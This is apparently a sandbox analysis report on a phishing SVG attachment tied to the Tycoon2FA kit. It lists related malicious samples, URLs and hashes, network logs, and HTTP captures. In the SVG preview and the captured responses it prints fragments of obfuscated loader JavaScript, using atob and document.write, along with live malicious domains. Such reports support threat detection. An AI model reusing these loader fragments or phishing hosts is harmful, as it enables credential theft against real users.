	3414736839.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.25.14
	https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhH0PbOaM-2FozlgiDV4KjxhypvjZewbywGZ4Q7g1wJEm8gOHO-2Fj-2Fy-2BeuUQs1H9VVa-2Brw-3D-3DA1Is_kVOBfQCxFG4-2FXIG8yX-2FGfqi8-2BWigF8C7RpBSvNc2aGXOogUEviQR-2F9AW4AqQYutZIq3lAWf2XC63-2F3cBIBI8SQcUp5qgb33TJa8U97ZQ5cQdCEnEMPutRmDhXXK795CYEJe8HbeAxSgjYkIC801CRDbuheOUeU7jpL2caFIX7m5r1-2BUeK2nHNMjrKykedf2hRgzpHe7uHe79N9sO-2B91JbIs4NZci-2F59qir2l6689wL8-3D&c=E,1,C_-9gUIHEPOk9L8PCpP9cCALx1hNX2e1W8H8gSQ9Qow47gwGLsMxgWEZPUB0mUA4ruJudoUOzX2dY5WML5U_JEKzPaJ-lLU-19K4Ky7KwAIqQSqy_58,&typo=1	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.24.14
	https://enervit.freshdesk.com/en/support/solutions/articles/156000285380-prossimo-cambio-di-qualit%C3%A0	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.24.14
	https://changelly.click	Get hash	malicious	Unknown	Browse	104.17.25.14
	MT103__1825367420#U00e2__.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.24.14
	https://avax-sushi.com	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://aivptjn.top/hwujk	Get hash	malicious	Unknown	Browse	104.17.24.14
	https://stetherdao.net	Get hash	malicious	Unknown	Browse	104.17.24.14
	https://lunexnetwork.co	Get hash	malicious	Unknown	Browse	104.17.25.14

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	abc.msi	Get hash	malicious	Unknown	Browse	172.64.41.3
	FW_ _EXTERNAL_ Important Reminder____Contract Agreement Pending disclosure 2330385.msg	Get hash	malicious	Unknown	Browse	1.1.1.1
	xenbuild.exe	Get hash	malicious	RedLine	Browse	172.67.75.172
	dW2A04h.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.72.121
	random(4).exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.1
	ZqkKpwG.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.72.121
	random.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.140.127
	Message.eml	Get hash	malicious	Unknown	Browse	104.16.79.73
	random(9).exe	Get hash	malicious	LummaC Stealer	Browse	172.67.210.5
	https://krekoii-logi.webflow.io	Get hash	malicious	HTMLPhisher	Browse	104.18.160.117
AMAZON-02US	abc.msi	Get hash	malicious	Unknown	Browse	18.244.18.38
	na.elf	Get hash	malicious	Prometei	Browse	52.212.150.54
	NWpNjnx.exe	Get hash	malicious	Vidar	Browse	18.244.18.32
	random(1).exe	Get hash	malicious	Unknown	Browse	185.166.143.48
	na.elf	Get hash	malicious	Prometei	Browse	52.212.150.54
	https://krekoii-logi.webflow.io	Get hash	malicious	HTMLPhisher	Browse	52.222.232.99
	https://kreakeunlgien.webflow.io	Get hash	malicious	HTMLPhisher	Browse	52.222.232.99
	na.elf	Get hash	malicious	Prometei	Browse	52.212.150.54
	https://krukcin-lcin.webflow.io	Get hash	malicious	HTMLPhisher	Browse	52.222.232.99
	Spacey Sun 11.12.411 (1).exe	Get hash	malicious	Vidar	Browse	18.244.18.32
FASTLYUS	ImageG.exe.bin.exe	Get hash	malicious	NovaSentinel	Browse	185.199.111.133
	https://github.com/olivierfriard/BORIS/releases/download/v9.1.1/boris-9.1.1-win64-setup.exe	Get hash	malicious	Unknown	Browse	185.199.111.133
	ImageG.exe.bin.exe	Get hash	malicious	NovaSentinel	Browse	185.199.111.133
	https://rpc-cryptolive.com	Get hash	malicious	Unknown	Browse	151.101.130.137
	https://opensea-nftpro5-eight.vercel.app	Get hash	malicious	Unknown	Browse	151.101.193.229
	https://multidappschain.vercel.app	Get hash	malicious	Unknown	Browse	151.101.129.229
	https://commercialmortgagealert.com/login	Get hash	malicious	Unknown	Browse	151.101.64.84
	http://girouardelectricien.ca	Get hash	malicious	Unknown	Browse	151.101.130.132
	https://inkton.xyz	Get hash	malicious	Unknown	Browse	185.199.108.133
	3414736839.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	185.199.110.133
CLOUDFLARENETUS	abc.msi	Get hash	malicious	Unknown	Browse	172.64.41.3
	FW_ _EXTERNAL_ Important Reminder____Contract Agreement Pending disclosure 2330385.msg	Get hash	malicious	Unknown	Browse	1.1.1.1
	xenbuild.exe	Get hash	malicious	RedLine	Browse	172.67.75.172
	dW2A04h.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.72.121
	random(4).exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.1
	ZqkKpwG.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.72.121
	random.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.140.127
	Message.eml	Get hash	malicious	Unknown	Browse	104.16.79.73
	random(9).exe	Get hash	malicious	LummaC Stealer	Browse	172.67.210.5
	https://krekoii-logi.webflow.io	Get hash	malicious	HTMLPhisher	Browse	104.18.160.117
CLOUDFLARENETUS	abc.msi	Get hash	malicious	Unknown	Browse	172.64.41.3
	FW_ _EXTERNAL_ Important Reminder____Contract Agreement Pending disclosure 2330385.msg	Get hash	malicious	Unknown	Browse	1.1.1.1
	xenbuild.exe	Get hash	malicious	RedLine	Browse	172.67.75.172
	dW2A04h.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.72.121
	random(4).exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.1
	ZqkKpwG.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.72.121
	random.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.140.127
	Message.eml	Get hash	malicious	Unknown	Browse	104.16.79.73
	random(9).exe	Get hash	malicious	LummaC Stealer	Browse	172.67.210.5
	https://krekoii-logi.webflow.io	Get hash	malicious	HTMLPhisher	Browse	104.18.160.117

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	dropped
Size (bytes):	25216
Entropy (8bit):	7.947339442168474
Encrypted:	false
SSDEEP:	768:BTwdm3bbEPDrEQT87zOyJ0WsnoU+RBshw:64LQXEN7DJGSRBs
MD5:	F9A795E2270664A7A169C73B6D84A575
SHA1:	0FBB60AB27AB88C064EB347D0722C8ED4CF5E8B8
SHA-256:	D00203B2EEA6E418C31BAAFA949ADA5349A9F9B7E99FA003AEC7406822693740
SHA-512:	E17C8D922F52C8AB36D9C0A7DC41D32735CF1680EA653056308C6D23255FDBE40B96C68F0E7F8B3B521B6ACB080CD825F94320364B0A70141606A4449D980517
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	RIFFxb..WEBPVP8X....0...o.....ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6ALPH.Y....'$H..xkD....oUS..[.uM....CwI.H#.H.t(..!J.AJ# .(........0.W.?D...g.6..u......}K5.>\|....^..2.....z..../.1..F..A...Vk..W.Wm?z....H+.;:...s..Z;....V.....Z.gm.......\>.}..-.....w...D.........+,K...#......._[L.[.]w1..[.l..8.....f..E...W....;....o.Q...T`.W.(..........;^........:.T..6......Yo..x.6..n.\A.5X.........J....2.O.)....0..zdL1.x.X..e?.eA.M%f.D..W.].A=6D.....w....>.3\|M.7....aEe&l.or.Tt^.*6li..lYz.HF.....2.\...U.tfQ.<ZlHB.G--....]T..h.L.U]...m....{..T{....~......K#

File type:	SVG Scalable Vector Graphics image
Entropy (8bit):	3.6715226602658126
TrID:	Scalable Vector Graphics (18501/1) 78.71% Generic XML (ASCII) (5005/1) 21.29%
File name:	View Remittance_18032025.PDF J8TLBF6.9 KB for R.bik.svg
File size:	3'046 bytes
MD5:	6fdd676b1b9642058c79010d5c2efbb7
SHA1:	779b0830a35853cc5705b30b6e9036a2d921cabe
SHA256:	83ae99e5df93510b9845da9b317e3bab1ad04e1be32103a360c5eaa2cfb7837f
SHA512:	cfb5fc9d3db84fe99b0e7021919a93e06065288e48a84af2bc7dbcf4a5e291f4a1075169ccce974e6845d7d89da5deaedd091a49bc4eed161c9ae6cd6ba1d501
SSDEEP:	24:2dtkOoVqP4oYwVYtWbq+qtY0OSMAymbvRc1u9eJremrLyMU:ckM53YtWhfSMAymzRc12edLVU
TLSH:	6451D8D352CDAF3497E110ADF80F33164C64DD33F13B055976844672C9968A38BB9A9B
File Content Preview:	<?xml version="1.0" encoding="UTF-8" standalone="no"?>..<svg xmlns="http://www.w3.org/2000/svg" width="400" height="250">..<script>..<![CDATA[..TBvmmurZgfzgzN = "#Fr.bik@geometius.nl";..class KKTxtZ { constructor({ vdbUZV, pBYmWp }) { this.vdbUZV = vdbUZV

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 19, 2025 14:49:17.222651958 CET	53	59263	1.1.1.1	192.168.2.5
Mar 19, 2025 14:49:17.244636059 CET	53	62009	1.1.1.1	192.168.2.5
Mar 19, 2025 14:49:17.694291115 CET	53	63802	1.1.1.1	192.168.2.5
Mar 19, 2025 14:49:21.900784969 CET	61740	53	192.168.2.5	1.1.1.1
Mar 19, 2025 14:49:21.900897980 CET	55959	53	192.168.2.5	1.1.1.1
Mar 19, 2025 14:49:21.908513069 CET	53	61740	1.1.1.1	192.168.2.5
Mar 19, 2025 14:49:21.908533096 CET	53	55959	1.1.1.1	192.168.2.5
Mar 19, 2025 14:49:23.271842003 CET	51028	53	192.168.2.5	1.1.1.1
Mar 19, 2025 14:49:23.271964073 CET	56822	53	192.168.2.5	1.1.1.1
Mar 19, 2025 14:49:23.360862017 CET	53	56822	1.1.1.1	192.168.2.5
Mar 19, 2025 14:49:23.373375893 CET	53	51028	1.1.1.1	192.168.2.5
Mar 19, 2025 14:49:24.279664040 CET	64888	53	192.168.2.5	1.1.1.1
Mar 19, 2025 14:49:24.279944897 CET	53394	53	192.168.2.5	1.1.1.1
Mar 19, 2025 14:49:24.280345917 CET	51126	53	192.168.2.5	1.1.1.1
Mar 19, 2025 14:49:24.280497074 CET	56958	53	192.168.2.5	1.1.1.1
Mar 19, 2025 14:49:24.281157970 CET	56747	53	192.168.2.5	1.1.1.1
Mar 19, 2025 14:49:24.281331062 CET	58261	53	192.168.2.5	1.1.1.1
Mar 19, 2025 14:49:24.288388014 CET	53	64888	1.1.1.1	192.168.2.5
Mar 19, 2025 14:49:24.288408995 CET	53	53394	1.1.1.1	192.168.2.5
Mar 19, 2025 14:49:24.288924932 CET	53	51126	1.1.1.1	192.168.2.5
Mar 19, 2025 14:49:24.289515972 CET	53	58261	1.1.1.1	192.168.2.5
Mar 19, 2025 14:49:24.289968014 CET	53	56747	1.1.1.1	192.168.2.5
Mar 19, 2025 14:49:24.290743113 CET	53	56958	1.1.1.1	192.168.2.5
Mar 19, 2025 14:49:24.699774981 CET	56842	53	192.168.2.5	1.1.1.1
Mar 19, 2025 14:49:24.700059891 CET	49689	53	192.168.2.5	1.1.1.1
Mar 19, 2025 14:49:24.725877047 CET	53	49689	1.1.1.1	192.168.2.5
Mar 19, 2025 14:49:24.742398024 CET	53	56842	1.1.1.1	192.168.2.5
Mar 19, 2025 14:49:25.160689116 CET	62942	53	192.168.2.5	1.1.1.1
Mar 19, 2025 14:49:25.160861969 CET	64332	53	192.168.2.5	1.1.1.1
Mar 19, 2025 14:49:25.168658972 CET	53	62942	1.1.1.1	192.168.2.5
Mar 19, 2025 14:49:25.171200037 CET	53	64332	1.1.1.1	192.168.2.5
Mar 19, 2025 14:49:34.644126892 CET	53	62807	1.1.1.1	192.168.2.5
Mar 19, 2025 14:49:39.809779882 CET	56275	53	192.168.2.5	1.1.1.1
Mar 19, 2025 14:49:39.810030937 CET	64341	53	192.168.2.5	1.1.1.1
Mar 19, 2025 14:49:39.826421976 CET	53	64341	1.1.1.1	192.168.2.5
Mar 19, 2025 14:49:39.881825924 CET	53	56275	1.1.1.1	192.168.2.5
Mar 19, 2025 14:49:40.740648985 CET	60656	53	192.168.2.5	1.1.1.1
Mar 19, 2025 14:49:40.740758896 CET	65231	53	192.168.2.5	1.1.1.1
Mar 19, 2025 14:49:40.791249990 CET	53	60656	1.1.1.1	192.168.2.5
Mar 19, 2025 14:49:40.796857119 CET	53	65231	1.1.1.1	192.168.2.5
Mar 19, 2025 14:49:41.317373991 CET	64222	53	192.168.2.5	1.1.1.1
Mar 19, 2025 14:49:41.317593098 CET	63215	53	192.168.2.5	1.1.1.1
Mar 19, 2025 14:49:41.328304052 CET	53	64222	1.1.1.1	192.168.2.5
Mar 19, 2025 14:49:41.370112896 CET	53	63215	1.1.1.1	192.168.2.5
Mar 19, 2025 14:49:43.104245901 CET	57878	53	192.168.2.5	1.1.1.1
Mar 19, 2025 14:49:43.104396105 CET	62495	53	192.168.2.5	1.1.1.1
Mar 19, 2025 14:49:43.112416983 CET	53	57878	1.1.1.1	192.168.2.5
Mar 19, 2025 14:49:43.113121986 CET	53	62495	1.1.1.1	192.168.2.5
Mar 19, 2025 14:49:43.457446098 CET	56171	53	192.168.2.5	1.1.1.1
Mar 19, 2025 14:49:43.457719088 CET	65468	53	192.168.2.5	1.1.1.1
Mar 19, 2025 14:49:43.464320898 CET	53	65468	1.1.1.1	192.168.2.5
Mar 19, 2025 14:49:43.464631081 CET	53	56171	1.1.1.1	192.168.2.5
Mar 19, 2025 14:49:43.467780113 CET	62028	53	192.168.2.5	1.1.1.1
Mar 19, 2025 14:49:43.467935085 CET	52418	53	192.168.2.5	1.1.1.1
Mar 19, 2025 14:49:43.477741957 CET	53	62028	1.1.1.1	192.168.2.5
Mar 19, 2025 14:49:43.516510963 CET	53	52418	1.1.1.1	192.168.2.5
Mar 19, 2025 14:49:43.595221043 CET	60978	53	192.168.2.5	1.1.1.1
Mar 19, 2025 14:49:43.595457077 CET	61722	53	192.168.2.5	1.1.1.1
Mar 19, 2025 14:49:43.602268934 CET	53	61722	1.1.1.1	192.168.2.5
Mar 19, 2025 14:49:43.618304968 CET	53	60978	1.1.1.1	192.168.2.5
Mar 19, 2025 14:49:43.644109011 CET	57818	53	192.168.2.5	1.1.1.1
Mar 19, 2025 14:49:43.644366980 CET	63958	53	192.168.2.5	1.1.1.1
Mar 19, 2025 14:49:43.652959108 CET	53	63958	1.1.1.1	192.168.2.5
Mar 19, 2025 14:49:43.665162086 CET	53	57818	1.1.1.1	192.168.2.5
Mar 19, 2025 14:49:53.455813885 CET	53	61053	1.1.1.1	192.168.2.5
Mar 19, 2025 14:50:06.461957932 CET	53	50950	1.1.1.1	192.168.2.5
Mar 19, 2025 14:50:09.968540907 CET	50415	53	192.168.2.5	1.1.1.1
Mar 19, 2025 14:50:09.968754053 CET	50301	53	192.168.2.5	1.1.1.1
Mar 19, 2025 14:50:09.975857973 CET	53	50301	1.1.1.1	192.168.2.5
Mar 19, 2025 14:50:09.977035046 CET	53	50415	1.1.1.1	192.168.2.5
Mar 19, 2025 14:50:10.238853931 CET	60889	53	192.168.2.5	1.1.1.1
Mar 19, 2025 14:50:10.239083052 CET	53865	53	192.168.2.5	1.1.1.1
Mar 19, 2025 14:50:10.239753962 CET	57722	53	192.168.2.5	1.1.1.1
Mar 19, 2025 14:50:10.239882946 CET	59863	53	192.168.2.5	1.1.1.1
Mar 19, 2025 14:50:10.245717049 CET	53	60889	1.1.1.1	192.168.2.5
Mar 19, 2025 14:50:10.246002913 CET	53	53865	1.1.1.1	192.168.2.5
Mar 19, 2025 14:50:10.261672974 CET	53	59863	1.1.1.1	192.168.2.5
Mar 19, 2025 14:50:10.303086042 CET	53	57722	1.1.1.1	192.168.2.5
Mar 19, 2025 14:50:11.130239010 CET	138	138	192.168.2.5	192.168.2.255
Mar 19, 2025 14:50:11.267476082 CET	64692	53	192.168.2.5	1.1.1.1
Mar 19, 2025 14:50:11.267855883 CET	65485	53	192.168.2.5	1.1.1.1
Mar 19, 2025 14:50:11.281553030 CET	53	65485	1.1.1.1	192.168.2.5
Mar 19, 2025 14:50:11.281939030 CET	53	64692	1.1.1.1	192.168.2.5
Mar 19, 2025 14:50:15.846821070 CET	53	60198	1.1.1.1	192.168.2.5
Mar 19, 2025 14:50:17.098284006 CET	53	53634	1.1.1.1	192.168.2.5
Mar 19, 2025 14:50:19.986928940 CET	53	63609	1.1.1.1	192.168.2.5
Mar 19, 2025 14:50:43.118549109 CET	58097	53	192.168.2.5	1.1.1.1
Mar 19, 2025 14:50:43.118880987 CET	53726	53	192.168.2.5	1.1.1.1
Mar 19, 2025 14:50:43.126554966 CET	53	58097	1.1.1.1	192.168.2.5
Mar 19, 2025 14:50:43.127526999 CET	53	53726	1.1.1.1	192.168.2.5
Mar 19, 2025 14:50:45.815279961 CET	53	64369	1.1.1.1	192.168.2.5
Mar 19, 2025 14:51:32.144927025 CET	53	63018	1.1.1.1	192.168.2.5

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Mar 19, 2025 14:49:41.370235920 CET	192.168.2.5	1.1.1.1	c27b	(Port unreachable)	Destination Unreachable
Mar 19, 2025 14:49:43.516602993 CET	192.168.2.5	1.1.1.1	c26b	(Port unreachable)	Destination Unreachable

Timestamp	Bytes transferred	Direction	Data
2025-03-19 13:49:23 UTC	661	OUT	GET /7PIWi2mf/ HTTP/1.1 Host: behy.jsrjesdc.ru Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-19 13:49:23 UTC	1206	IN	HTTP/1.1 200 OK Date: Wed, 19 Mar 2025 13:49:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7mipsgzvAHTJWH99nTuaZCm9CeMWHo4cHVPx7jg%2FTI4L6GrQXBUX%2B73%2BhQdVOHSQvP6aa0rO3kHfCXRpgm7%2FLzZEyswXCNit7Fs2VjgooX5sSCDYPEwr%2BYBkXSg9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=346&min_rtt=330&rtt_var=157&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2826&recv_bytes=1556&delivery_rate=8734341&cwnd=252&unsent_bytes=0&cid=74bc37aa4b650a43&ts=212&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IlBlanIxMlowK3hKWnpkaktyQkV6SXc9PSIsInZhbHVlIjoiY2JaTFdtZEd6YUlVUnkrTFhqdmwrY014WmJ3VFZFV2toTnA1UEIyMmtqNGVyb0ttUXZlSVJoaXVUSm5YSEk3Y1h5RTNIeXRNM1hvT3dxeiszWkt2S0c4Z0F4YTJjcHE2bDBmazRWRndWODkzK1dkbEtjMVFISnpDd29qVmo2QjEiLCJtYWMiOiJmZTE4ZTAyOGY0ZjdmY2NkMmVjMDNkYmY0Y2U1NmEzYjYyMGZjZTI5MGVmNDhlOWRjN2Y0YjU2NGQ3MzdiYWE3IiwidGFnIjoiIn0%3D; expires=Wed, 19-Mar-2025 15:49:23 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-19 13:49:23 UTC	764	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6e 4a 6f 53 47 70 59 64 32 52 79 55 6b 30 7a 63 69 39 58 63 30 35 76 62 6c 42 44 59 6e 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 57 54 4e 43 55 79 39 54 55 6a 52 61 51 32 70 6a 61 6b 56 71 62 55 35 32 54 30 4a 34 65 6d 68 4d 4b 32 4d 77 61 55 35 52 61 47 59 79 4d 33 4a 35 4d 45 77 31 63 46 42 72 64 44 64 73 55 6c 55 72 59 6c 55 35 53 57 68 34 4f 44 6c 34 4f 56 68 50 5a 45 4a 5a 55 6d 74 46 57 6c 6c 69 53 31 4e 4d 53 58 64 57 61 31 68 4a 5a 58 56 4a 4e 33 55 77 55 6a 41 34 4b 31 4e 6d 55 31 42 30 5a 58 70 75 4e 6d 78 4e 4d 6b 78 6c 4e 48 5a 48 57 6d 6c 4c 5a 47 35 52 55 55 31 31 53 45 74 6d 64 48 4a 69 4e 30 77 72 56 55 68 4c 61 30 4d Data Ascii: Set-Cookie: laravel_session=eyJpdiI6InJoSGpYd2RyUk0zci9Xc05vblBDYnc9PSIsInZhbHVlIjoiWTNCUy9TUjRaQ2pjakVqbU52T0J4emhMK2MwaU5RaGYyM3J5MEw1cFBrdDdsUlUrYlU5SWh4ODl4OVhPZEJZUmtFWlliS1NMSXdWa1hJZXVJN3UwUjA4K1NmU1B0ZXpuNmxNMkxlNHZHWmlLZG5RUU11SEtmdHJiN0wrVUhLa0M
2025-03-19 13:49:23 UTC	285	IN	Data Raw: 31 31 36 0d 0a 3c 73 63 72 69 70 74 3e 0a 57 4e 62 52 50 47 70 6a 6b 74 20 3d 20 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 38 33 56 58 56 36 4c 6d 70 7a 63 6d 70 6c 63 32 52 6a 4c 6e 4a 31 4c 7a 64 51 53 56 64 70 4d 6d 31 6d 4c 77 3d 3d 22 29 3b 0a 5a 4a 67 55 75 57 65 6c 76 4b 20 3d 20 61 74 6f 62 28 22 62 6d 39 74 59 58 52 6a 61 41 3d 3d 22 29 3b 0a 52 45 55 79 4e 78 6f 53 4e 6b 20 3d 20 61 74 6f 62 28 22 64 33 4a 70 64 47 55 3d 22 29 3b 0a 69 66 28 57 4e 62 52 50 47 70 6a 6b 74 20 3d 3d 20 5a 4a 67 55 75 57 65 6c 76 4b 29 7b 0a 64 6f 63 75 6d 65 6e 74 5b 52 45 55 79 4e 78 6f 53 4e 6b 5d 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b 43 Data Ascii: 116<script>WNbRPGpjkt = atob("aHR0cHM6Ly83VXV6Lmpzcmplc2RjLnJ1LzdQSVdpMm1mLw==");ZJgUuWelvK = atob("bm9tYXRjaA==");REUyNxoSNk = atob("d3JpdGU=");if(WNbRPGpjkt == ZJgUuWelvK){document[REUyNxoSNk](decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+C
2025-03-19 13:49:23 UTC	1369	IN	Data Raw: 37 66 66 61 0d 0a 57 35 72 49 48 4a 6c 62 44 30 69 61 57 4e 76 62 69 49 67 61 48 4a 6c 5a 6a 30 69 61 48 52 30 63 48 4d 36 4c 79 39 6b 5a 58 5a 6c 62 47 39 77 5a 58 4a 7a 4c 6d 4e 73 62 33 56 6b 5a 6d 78 68 63 6d 55 75 59 32 39 74 4c 32 5a 68 64 6d 6c 6a 62 32 34 75 63 47 35 6e 49 69 42 30 65 58 42 6c 50 53 4a 70 62 57 46 6e 5a 53 39 34 4c 57 6c 6a 62 32 34 69 50 67 6f 67 49 43 41 67 50 47 31 6c 64 47 45 67 61 48 52 30 63 43 31 6c 63 58 56 70 64 6a 30 69 57 43 31 56 51 53 31 44 62 32 31 77 59 58 52 70 59 6d 78 6c 49 69 42 6a 62 32 35 30 5a 57 35 30 50 53 4a 4a 52 54 31 46 5a 47 64 6c 4c 47 4e 6f 63 6d 39 74 5a 54 30 78 49 6a 34 4b 49 43 41 67 49 44 78 74 5a 58 52 68 49 47 35 68 62 57 55 39 49 6e 4a 76 59 6d 39 30 63 79 49 67 59 32 39 75 64 47 56 75 64 44 Data Ascii: 7ffaW5rIHJlbD0iaWNvbiIgaHJlZj0iaHR0cHM6Ly9kZXZlbG9wZXJzLmNsb3VkZmxhcmUuY29tL2Zhdmljb24ucG5nIiB0eXBlPSJpbWFnZS94LWljb24iPgogICAgPG1ldGEgaHR0cC1lcXVpdj0iWC1VQS1Db21wYXRpYmxlIiBjb250ZW50PSJJRT1FZGdlLGNocm9tZT0xIj4KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD
2025-03-19 13:49:23 UTC	1369	IN	Data Raw: 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 Data Ascii: 776g44Wk44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk776g776g776g44Wk776g776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk44Wk776g776g44Wk776g776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk44W
2025-03-19 13:49:23 UTC	1369	IN	Data Raw: 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 Data Ascii: 4Wk776g44Wk44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g776g776g776g776g44Wk44Wk776g44Wk776g776g776g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk776g44Wk44Wk776g44Wk776g
2025-03-19 13:49:23 UTC	1369	IN	Data Raw: 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 Data Ascii: 